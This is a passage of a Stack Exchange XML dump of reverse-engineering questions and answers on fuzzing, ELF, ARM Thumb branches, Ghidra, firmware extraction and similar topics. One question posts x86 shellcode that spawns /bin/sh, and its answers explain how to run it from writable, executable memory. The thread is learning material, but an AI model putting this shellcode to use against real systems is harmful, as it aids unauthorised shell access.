page&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-03-12T16:09:03.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20859" PostTypeId="2" ParentId="18232" CreationDate="2019-03-12T16:59:58.213" Score="1" Body="&lt;p&gt;&lt;code&gt;dg gs&lt;/code&gt; seems to be not supported on x64, as stated by the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dg--display-selector-&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;, so you can not rely on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see where &lt;code&gt;gs&lt;/code&gt; points to, you can use &lt;code&gt;!teb&lt;/code&gt; or &lt;code&gt;rdmsr c0000102&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27774" LastActivityDate="2019-03-12T16:59:58.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20860" PostTypeId="1" AcceptedAnswerId="20861" CreationDate="2019-03-12T19:12:08.200" Score="4" ViewCount="5158" Body="&lt;p&gt;How to do fuzzing in Android applications? Do we have any fuzzer specific to the android? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I am looking for an easy way to do fuzzing while performing penetration testing of android applications.&lt;/p&gt;&#xA;" OwnerUserId="27714" LastEditorUserId="53" LastEditDate="2019-03-13T23:35:55.830" LastActivityDate="2022-04-30T14:52:44.387" Title="Android application fuzzing" Tags="|android|fuzzing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20861" PostTypeId="2" ParentId="20860" CreationDate="2019-03-12T22:37:07.557" Score="2" Body="&lt;p&gt;There is a fork of AFL fuzzer that is specialized in Android fuzzing. You can find it on GitHub. And, there are several fuzzing frameworks specialized for Android.&lt;/p&gt;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ele7enxxh/android-afl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andoid-afl&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://source.android.com/devices/tech/debug/libfuzzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fuzzing with libFuzzer&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ajinabraham/Droid-Application-Fuzz-Framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;Droid: Android application fuzzing framework&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Writing the worlds worst Android fuzzer, and then improving it&lt;/a&gt;, by Gamozo 2018.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/docs/eu-15/materials/eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android-wp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fuzzing Android: a recipe for uncovering vulnerabilities inside system components in Android&lt;/a&gt;, by Alexandru Blanda (BlackHat'15).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.iswatlab.eu/security-projects/doapp-denial-of-app-a-smart-android-fuzzer-for-the-future/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DoApp (Denial of App): A smart Android Fuzzer for the future&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/antojoseph/droid-ff&quot; rel=&quot;nofollow noreferrer&quot;&gt;Droid-FF&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://firmwaresecurity.com/2017/11/09/afl-unicorn-fuzz-any-architecture-supported-by-unicorn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFL-unicorn1&lt;/a&gt; and &lt;a href=&quot;http://cn-sec.com/archives/146342.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFL-unicorn2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://alephsecurity.com/2021/11/16/fuzzing-qemu-android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFL++ with QEMU for native android fuzzing&lt;/a&gt;:  This is a modification of the original &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFLplusplus&lt;/a&gt; so as to able to fuzz binary-only Android applications using QEMU and running inside native Android environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="2395" LastEditDate="2022-04-30T14:52:44.387" LastActivityDate="2022-04-30T14:52:44.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20862" PostTypeId="2" ParentId="17346" CreationDate="2019-03-13T06:19:06.783" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Augend&lt;/strong&gt; is a term that means a number that is subject to addition&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Addend&lt;/strong&gt; is the number that you will be adding.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.merriam-webster.com/words-at-play/surprising-uncommon-words/augend-addend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dictionary.com&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Have you ever found yourself staring at a piece of paper with “3 + 4” written on it, and wondered ‘what is the proper term for each of these two respective quantities?’ No? &lt;strong&gt;The first number is the augend&lt;/strong&gt; and &lt;strong&gt;the number that is added to it is the addend.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can see a chart of other math terms here on &lt;a href=&quot;https://en.wikipedia.org/wiki/Template:Calculation_results&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia's &lt;em&gt;&quot;Calculation results&quot;&lt;/em&gt;&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WIBqe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WIBqe.png&quot; alt=&quot;Calculation results&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the special terms here?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Well, that's likely because in assembly &lt;code&gt;add rbi, rax&lt;/code&gt; will actually store the result in &lt;code&gt;rbi&lt;/code&gt;. So knowing the first argument is not just an argument to &lt;code&gt;add&lt;/code&gt; but the destination; &lt;code&gt;add rax, rbi&lt;/code&gt; will store the result in &lt;code&gt;rax&lt;/code&gt;. If assembly was displayed with operators instead, we'd have &lt;code&gt;rbi += rax&lt;/code&gt; and &lt;code&gt;rax += rbi&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Because the &lt;em&gt;addend&lt;/em&gt; is not &lt;em&gt;always&lt;/em&gt; an offset, and the augend is not always the base. Though in this specific example, &quot;offset&quot; is far more appropriate.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this specific case, the term &quot;implicit offset&quot; can be found in the &lt;a href=&quot;https://unix.stackexchange.com/q/483283/3285&quot;&gt;Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification&#xA;Version 1.2&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... only &lt;code&gt;Elf32_Rela&lt;/code&gt; entries contain an explicit addend. Entries of type &lt;code&gt;Elf32_Rel&lt;/code&gt; store an implicit addend in the location to be modified. Depending on the processor architecture, one form or the other might be necessary or more convenient. Consequently, an implementation for a particular machine may use one form exclusively or either form depending on context.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2019-03-13T06:25:30.357" LastActivityDate="2019-03-13T06:25:30.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20863" PostTypeId="1" AcceptedAnswerId="20864" CreationDate="2019-03-13T09:58:54.563" Score="2" ViewCount="410" Body="&lt;p&gt;I am writing an ELF32 parser and disassembler for PowerPC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows how to detect if the file is using VLE architecture from ELF header? I see that IDA can do it automatically.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastEditorUserId="53" LastEditDate="2019-03-13T14:11:48.307" LastActivityDate="2019-03-13T14:11:48.307" Title="PowerPC ELF32 detecting VLE" Tags="|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20864" PostTypeId="2" ParentId="20863" CreationDate="2019-03-13T11:59:50.743" Score="4" Body="&lt;p&gt;According to the code of &lt;code&gt;readelf&lt;/code&gt; in the GNU binutils package, the presence of VLE instructions can be found in the &lt;code&gt;p_flags&lt;/code&gt; and &lt;code&gt;sh_flags&lt;/code&gt; fields with the mask &lt;code&gt;0x10000000&lt;/code&gt; (see &lt;code&gt;binutils-xxx/include/elf/ppc.h&lt;/code&gt; and look for &lt;code&gt;PF_PPC_VLE&lt;/code&gt; and &lt;code&gt;SHF_PPC_VLE&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These flags seems to be present at the begining of each section in the ELF format. So, you should look for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few interesting readings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.polyomino.org.uk/publications/2011/Power-Arch-32-bit-ABI-supp-1.0-Unified.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Power Architecture® 32-bit Application Binary Interface Supplement 1.0&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.st.com/content/ccc/resource/technical/document/user_manual/ac/f2/bf/01/73/d8/48/e0/CD00161395.pdf/files/CD00161395.pdf/jcr:content/translations/en.CD00161395.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Variable-Length Encoding (VLE) extension programming interface manual&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nxp.com/docs/en/supporting-information/VLEPIM.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Variable-Length Encoding (VLE) Extension Programming Interface Manual&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;64-bit PowerPC ELF Application Binary Interface Supplement 1.9&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The binutils source code (&lt;code&gt;grep -r _PPC_VLE&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-03-13T11:59:50.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20865" PostTypeId="1" CreationDate="2019-03-13T13:09:44.493" Score="1" ViewCount="2390" Body="&lt;p&gt;I'm learning how to use Frida, and would like to do something basic like inject JavaScript into a browser on Windows to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows/getAll&quot; rel=&quot;nofollow noreferrer&quot;&gt;list all running tabs&lt;/a&gt;. It seems like it should be possible as Frida allows you to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;inject snippets of JavaScript into native apps on Windows, Mac, Linux,&#xA;  iOS and Android,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but almost all of the articles online deal with how to use it for Android or iOS and I haven't found anything relevant to my scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my understanding of the situation is incorrect, please explain why.&lt;/p&gt;&#xA;" OwnerUserId="26125" LastActivityDate="2019-03-23T19:39:24.750" Title="How to inject JavaScript into a browser with Frida?" Tags="|windows|frida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20866" PostTypeId="5" CreationDate="2019-03-13T19:26:54.563" Score="0" Body="" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-03-13T19:26:54.563" LastActivityDate="2019-03-13T19:26:54.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20867" PostTypeId="4" CreationDate="2019-03-13T19:26:54.563" Score="0" Body="Use this tag when asking questions relating to the (mostly) java decompiler tool JEB by PNF software." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-03-13T19:26:54.563" LastActivityDate="2019-03-13T19:26:54.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20868" PostTypeId="1" AcceptedAnswerId="20871" CreationDate="2019-03-13T20:18:54.573" Score="3" ViewCount="1547" Body="&lt;pre&gt;&lt;code&gt;Section .text&#xA;        global _start&#xA;&#xA;_start:&#xA;        jmp short GoToCall&#xA;&#xA;shellcode:&#xA;        pop             esi&#xA;        xor             eax, eax&#xA;        mov byte        [esi+7], al&#xA;        lea             ebx, [esi]&#xA;        mov long        [esi + 8], ebx&#xA;        mov long        [esi + 12], eax&#xA;        mov byte        al, 0x0b&#xA;        mov             ebx, [esi]&#xA;        lea             ecx, [esi + 8]&#xA;        lea             edx, [esi + 12]&#xA;        int             0x80&#xA;&#xA;GoToCall:&#xA;        Call shellcode&#xA;        db      &quot;/bin/shJAAAABBBB&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling the above shellcode I got below disassembly. where at 3rd line I am getting the Segmentaion fault.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disassemble shellcode &#xA;Dump of assembler code for function shellcode:&#xA;   0x08049002 &amp;lt;+0&amp;gt;: pop    %esi&#xA;   0x08049003 &amp;lt;+1&amp;gt;: xor    %eax,%eax&#xA;=&amp;gt; 0x08049005 &amp;lt;+3&amp;gt;: mov    %al,0x7(%esi)&#xA;   0x08049008 &amp;lt;+6&amp;gt;: lea    (%esi),%ebx&#xA;   0x0804900a &amp;lt;+8&amp;gt;: mov    %ebx,0x8(%esi)&#xA;   0x0804900d &amp;lt;+11&amp;gt;:    mov    %eax,0xc(%esi)&#xA;   0x08049010 &amp;lt;+14&amp;gt;:    mov    $0xb,%al&#xA;   0x08049012 &amp;lt;+16&amp;gt;:    mov    (%esi),%ebx&#xA;   0x08049014 &amp;lt;+18&amp;gt;:    lea    0x8(%esi),%ecx&#xA;   0x08049017 &amp;lt;+21&amp;gt;:    lea    0xc(%esi),%edx&#xA;   0x0804901a &amp;lt;+24&amp;gt;:    int    $0x80&#xA;End of assembler dump.&#xA;(gdb) printf &quot;%s&quot;, $esi&#xA;/bin/shJAAAABBBB(gdb) printf &quot;%s&quot;, $esi+7&#xA;JAAAABBBB(gdb) si&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x08049005 in shellcode ()&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27714" LastActivityDate="2019-12-27T07:25:56.793" Title="segmentation fault at `mov byte [esi+7], al`" Tags="|assembly|shellcode|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20870" PostTypeId="2" ParentId="20841" CreationDate="2019-03-13T21:51:27.290" Score="5" Body="&lt;p&gt;Unfortunately no, there is no such decompiler publicly available. All decompilers have to guess the missing information and just one wrong answer is enough to spoil the result. Second, re-compilability is often not the goal.&lt;/p&gt;&#xA;" OwnerUserId="27130" LastActivityDate="2019-03-13T21:51:27.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20871" PostTypeId="2" ParentId="20868" CreationDate="2019-03-13T22:36:15.070" Score="2" Body="&lt;p&gt;The instruction that causes the SIGSEGV is trying to store a &lt;code&gt;'\0'&lt;/code&gt; after the &lt;code&gt;'h'&lt;/code&gt; in &lt;code&gt;&quot;/bin/shJAAAABBBB&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your code/data is in the &lt;code&gt;.text&lt;/code&gt; section which is probably read-only.&#xA;Run &lt;code&gt;objdump -h&lt;/code&gt; on the resulting binary, and you should see something like the following in the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  5 .text         00000031  00001000  00001000  00001000  2**4&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which contains the addresses where the bytes of the string are stored.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-13T22:36:15.070" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20872" PostTypeId="2" ParentId="20868" CreationDate="2019-03-13T22:36:44.640" Score="1" Body="&lt;p&gt;The memory where you shellcode is located and executed is not writable.&#xA;It could happen for different reasons, my guess is your shellcode is encoded as a C literal string. Since this memory location is not writable, so you get an exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to try the shellcode, allocate a memory page using &lt;code&gt;mmap(2)&lt;/code&gt; with flag &lt;code&gt;PROT_EXEC | PROT_READ | PROT_WRITE&lt;/code&gt;, copy your shellcode inside and jump on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, your shellcode is null byte free, if you copy it using &lt;code&gt;strcpy(3)&lt;/code&gt; function, you can remove both &lt;code&gt;xor eax, eax&lt;/code&gt; and &lt;code&gt;mov [esi+7], al&lt;/code&gt; because &lt;code&gt;strcpy(3)&lt;/code&gt; will write the 0x00 for you. Just make sure to trim &quot;/bin/shJAAAABBBB&quot; to &quot;/bin/sh&quot;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-13T22:36:44.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20875" PostTypeId="2" ParentId="20853" CreationDate="2019-03-14T00:55:30.903" Score="3" Body="&lt;p&gt;This should do it: you need to iterate over all the ordinals as defined in the local type information library returned by &lt;code&gt;get_idati()&lt;/code&gt;. They are annoyingly indexed 1-up. For each ordinal you can get the corresponding &lt;code&gt;tinfo_t&lt;/code&gt; with &lt;code&gt;get_numbered_type&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ida_typeinf&#xA;&#xA;idati = ida_typeinf.get_idati()&#xA;&#xA;for ordinal in xrange(1, ida_typeinf.get_ordinal_qty(idati)+1):&#xA;    ti = ida_typeinf.tinfo_t()&#xA;    if ti.get_numbered_type(idati, ordinal):&#xA;        print ordinal, ti&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3036" LastEditorUserId="3036" LastEditDate="2019-05-06T13:20:52.703" LastActivityDate="2019-05-06T13:20:52.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20877" PostTypeId="1" CreationDate="2019-03-14T07:39:08.117" Score="7" ViewCount="11639" Body="&lt;p&gt;When patching a program and then using the export binary function, it turns the &lt;a href=&quot;https://dev.to/nuculabs/root-me-elf-crackpass-with-nsas-ghidra-403o&quot; rel=&quot;noreferrer&quot;&gt;elf headers are corrupt&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to work around this problem?&lt;/p&gt;&#xA;" OwnerUserId="27790" LastActivityDate="2021-07-30T12:59:09.450" Title="How to export a working elf binary from Ghidra?" Tags="|elf|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20879" PostTypeId="2" ParentId="16325" CreationDate="2019-03-14T15:58:24.610" Score="1" Body="&lt;p&gt;Main part of fortigate firmware is a &lt;code&gt;/bin/init&lt;/code&gt; executable, most of other files are just symbolic links to it. So, you can obtain this file (or any other file of interest) from device or VM using &lt;code&gt;fnsysctl&lt;/code&gt; and &lt;code&gt;exec backup&lt;/code&gt; commands, together with the configured tftp-server. In my case it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; fnsysctl cp /bin/init /var/log/root/mlog.0&#xA;#&amp;gt; exec backup disk log tftp AA.BB.CC.DD anomaly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, rename the received file on the tftp-server.&lt;/p&gt;&#xA;" OwnerUserId="24877" LastEditorUserId="53" LastEditDate="2019-03-14T16:40:17.440" LastActivityDate="2019-03-14T16:40:17.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20880" PostTypeId="2" ParentId="20606" CreationDate="2019-03-14T18:40:22.190" Score="1" Body="&lt;p&gt;Apparently yes most of JEB code base seems to be in Java. You can look at the jeb*.jar files inside your install folders. They're huge, but that will give you an indication: thousands of big javaclass files in there, very few native so files.&lt;/p&gt;&#xA;" OwnerUserId="26252" LastActivityDate="2019-03-14T18:40:22.190" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20881" PostTypeId="1" AcceptedAnswerId="20908" CreationDate="2019-03-14T22:31:25.527" Score="2" ViewCount="4616" Body="&lt;p&gt;I'm currently having a look at the Damn Vulnerable Router Firmware, and I'm roughly following the description that is given here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means I did the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extracted the firmware with binwalk&lt;/li&gt;&#xA;&lt;li&gt;Copied qemu-mipsel-static into the squashfs-root of the extracted firmware&lt;/li&gt;&#xA;&lt;li&gt;Emulated the binaries with qemu using chroot, like this:&lt;code&gt;sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 test123&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Started GDB and entered: &lt;code&gt;set architecture mips&lt;/code&gt; and &lt;code&gt;target remote 127.0.0.1:1234&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I now continue with &lt;code&gt;c&lt;/code&gt; I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(gdb) c&#xA;  Continuing.&#xA;  warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.&#xA;  Use the &quot;info sharedlibrary&quot; command to see the complete listing.&#xA;  Do you need &quot;set solib-search-path&quot; or &quot;set sysroot&quot;?&#xA;  [Inferior 1 (Remote target) exited with code 0101]&#xA;  (gdb) info sharedlibrary&#xA;  No shared libraries loaded at this time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although this is only a warning and the debugged program seems to execute just fine, I'm wondering if I actually need to copy some more libraries into my squashfs-root folder in order to get this clean. And if so how do I find out which libraries and where to get them? (&lt;code&gt;info sharedlibrary&lt;/code&gt; didn't yield anything) &lt;/p&gt;&#xA;" OwnerUserId="27801" LastActivityDate="2019-03-18T01:17:41.127" Title="GDB: Could not load shared library symbols" Tags="|firmware|gdb|exploit|qemu|firmware-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20882" PostTypeId="1" AcceptedAnswerId="20885" CreationDate="2019-03-14T23:20:49.040" Score="1" ViewCount="116" Body="&lt;p&gt;I have the instruction which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 5ff1aed4         bl         sub_5ff171d0  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which assembles to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FCF77CF9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This appears to mean that the program is branching backwards, However I can't seem to find the offset it is adding onto the PC when I try to dissassemble the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP   H  Offset&#xA;1111 1 00101111100 // Low - 17C &#xA;1111 0 11111111100 // High - 7FC &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is clearly incorrect because it increases the size of the program counter instead of decreasing it. Can anyone explain where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="27802" LastActivityDate="2019-03-15T06:28:02.470" Title="How is thumb branch calculated" Tags="|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20884" PostTypeId="1" CreationDate="2019-03-15T00:52:20.897" Score="1" ViewCount="549" Body="&lt;p&gt;I was given a vulnerable 64bit dynamically linked stripped that runs simple checks to determine the strength of the passwords of users on a linux system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app checks if it the EUID is 0 and then creates two POSIX message queues one for the password hashes which it a child process reads using the shadow api and later sends to other worker child processes(#num defined by the user) that perform decryption attempts, and one where the workers send the weak passwords found to another child process that prints them on screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the instructions the app is supposed to be used by administrator users (i.e. root), which by my understanding means it is not a SUID, so no way of priviledge escalation (?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I don't know what to look for besides come kind of race condition or process failure scenario that can cause leakage of hashes or decrypted passwords. Is there anything that can be done by exploiting the Linker ?&lt;/p&gt;&#xA;" OwnerUserId="27804" LastActivityDate="2019-03-15T00:52:20.897" Title="Vulnerabilities of Binary executed by root" Tags="|binary-analysis|binary|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20885" PostTypeId="2" ParentId="20882" CreationDate="2019-03-15T06:28:02.470" Score="1" Body="&lt;p&gt;When you assembled it, you ended up with the bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FC F7 7C F9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is two 16-bit little endian thumb instructions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fc f7 = 0xf7fc = 111 10 11111111100 = BL, H=10, offset_hi=0x7fc&#xA;7c f9 = 0xf97c = 111 11 00101111100 = BL, H=11, offset_lo=0x17c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the purposes of calculating the BL's destination address, the pc is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pc = address of first BL instruction + 4 = 0x5ff1aed8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the calculation of the destination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dest = pc + (sign_extend(offset_hi)&amp;lt;&amp;lt;12) + (offset_lo&amp;lt;&amp;lt;1)&#xA;     = pc + (0xfffffffc&amp;lt;&amp;lt;12) + (0x17c&amp;lt;&amp;lt;1)&#xA;     = 0x5ff1aed8 + 0xffffc000 + 0x2f8 &#xA;     = 0x5ff171d0 (result is only 32bits wide)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-15T06:28:02.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20886" PostTypeId="2" ParentId="20711" CreationDate="2019-03-15T09:33:36.687" Score="1" Body="&lt;p&gt;It's a known regression introduced in 3.3, workaround is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e anal.bb.maxsize=1K&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a proper fix will be in 3.4. This is the official answer: &lt;a href=&quot;https://twitter.com/Kartone/status/1106318634220167168&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/Kartone/status/1106318634220167168&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-03-15T09:33:36.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20888" PostTypeId="1" AcceptedAnswerId="20889" CreationDate="2019-03-15T16:06:36.350" Score="0" ViewCount="122" Body="&lt;p&gt;I understand the basics of encryption and decryption, but I don't know where to go to talk to people and learn more. Are there any forums or resources to look at to learn more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I was given two Hex strings and told that the second was modified, but originally a ~90% match of the first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[3E 02 2D 06 7E 31 00 00 04 2A 7E 30 00 00 04 2A] &#xA;and&#xA;[5A E1 78 F3 72 2C 90 D3 07 4A 10 41 49 4B 0D C4 F7 5D 9E 32 7C 01 F5]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the second one is encrypted because a simple statistical analysis shows a balanced distribution of values, but I don't know the process for trying to de-encrypt it.&lt;/p&gt;&#xA;" OwnerUserId="27803" LastActivityDate="2019-03-15T17:57:24.850" Title="Where can I go to learn about decryption?" Tags="|encryption|" AnswerCount="1" CommentCount="1" ClosedDate="2019-03-31T05:14:25.637" ContentLicense="CC BY-SA 4.0" />
